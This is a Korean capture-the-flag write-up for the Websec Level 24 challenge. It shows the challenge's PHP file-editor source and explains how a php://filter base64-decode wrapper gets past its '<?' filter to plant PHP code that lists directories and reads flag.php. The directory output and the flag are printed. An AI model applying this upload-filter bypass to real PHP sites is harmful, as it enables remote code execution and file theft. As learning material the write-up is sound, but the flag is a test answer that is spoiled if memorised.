Websec - Level 24 (풀이 봄)
Websec24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
session_start();
include 'clean_up.php';
/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
if (is_file($file)) {
unlink($file);
} else {
if (time() - filemtime($file) >= 60 * 60 * 24 * 7) {
Delete($file);
}
}
}
$upload_dir = sprintf("./uploads/%s/", session_id());
@mkdir($upload_dir, 0755, true);
/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir', '.');
$p = "list";
$data = "";
$filename = "";
if (isset($_GET['p']) && isset($_GET['filename']) ) {
$filename = $_GET['filename'];
if ($_GET['p'] === "edit") {
$p = "edit";
if (isset($_POST['data'])) {
$data = $_POST['data'];
if (strpos($data, '<?') === false && stripos($data, 'script') === false) { # no interpretable code please.
file_put_contents($_GET['filename'], $data);
die ('<meta http-equiv="refresh" content="0; url=.">');
}
} elseif (file_exists($_GET['filename'])){
$data = file_get_contents($_GET['filename']);
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php if ($p === "list") {
echo "<div class='panel panel-default'>";
echo "<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
echo "<div class='panel-body'><ul>";
foreach (array_diff(scandir('.'), ['..', '.']) as $fn)
echo "<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
echo "</ul></div></div>";
?>
<form method="GET" class="form-inline">
<div class="form-group">
<input type="hidden" name="p" value="edit">
<label for="filename">Create a new file:</label>
<input class='form-control' type="text" name="filename" placeholder="file name">
</div>
<div class="form-group">
<button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
</div>
</form>
<?php } elseif ($p === "edit") {
echo "<div class='panel panel-default'>";
echo "<div class='panel-heading'><h3 class='panel-title''>";
echo "File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>×</span></a></h3>";
echo "</div>";
echo "<div class='panel-body'>";
echo "<form action='?p=edit&filename=$filename' method='post'>";
echo "<input type='hidden' name='filename' value='$filename'>";
echo "<textarea class='form-control' name='data' rows='6'>" . htmlentities($data) . "</textarea><br>";
echo "<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
echo "<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
echo "</form>";
echo "</div></div>";
} ?>
Solution
- php glob 함수, chdir 함수
- habonyphp.com/2020/07/php-glob.html
- habonyphp.com/2020/07/php-chdir.html
- php ini_set, open_basedir
- choseongho93.tistory.com/207
- php.net/manual/en/ini.core.php#ini.open-basedir
- idchowto.com/php-보안설정중-open_basedir-적용하기 –> GOOD
- php.net/manual/en/ini.core.php#ini.open-basedir
open_basedir을 우회해서 파일을 읽어야되는 줄 알았으나 아니였음..
- file_put_contents, file_get_contents는 php wrapper를 사용할 수 있다고 함.
- php.net/manual/en/function.file-put-contents.php
- php.net/manual/en/function.file-get-contents.php
중요한 점은 file system 함수들은 wrapper가 사용 가능하다는 점이다.
따라서 php://filter/convert.base64-decode/resource=test.php
라는 wrapper를 이용해서 파일을 생성해주면 test.php가 생성이 된다.
그 내용으로 <?php echo var_dump(scandir('../../')); ?>
를 base64 encode를 해줘서 넣어주면 디코드되어 php 코드가 들어가 있는 test.php가 생긴다.
그럼 /upload/sessionid/test.php
로 가보면 아래와 같이 출력된다.
1
2
3
4
5
6
7
8
9
10
11
12
array(9)
{
[0]=> string(1) "."
[1]=> string(2) ".."
[2]=> string(12) "clean_up.php"
[3]=> string(8) "flag.php"
[4]=> string(9) "index.php"
[5]=> string(12) "php-fpm.sock"
[6]=> string(10) "source.php"
[7]=> string(7) "uploads"
[8]=> string(3) "var"
}
그 다음 동일하게 flag.php를 출력해주면 된다….
<?php echo file_get_contents('../../flag.php'); ?>
- Flag
WEBSEC{no_javascript_no_php_I_guess_you_used_COBOL_to_get_a_RCE_right?}
This post is licensed under CC BY 4.0 by the author.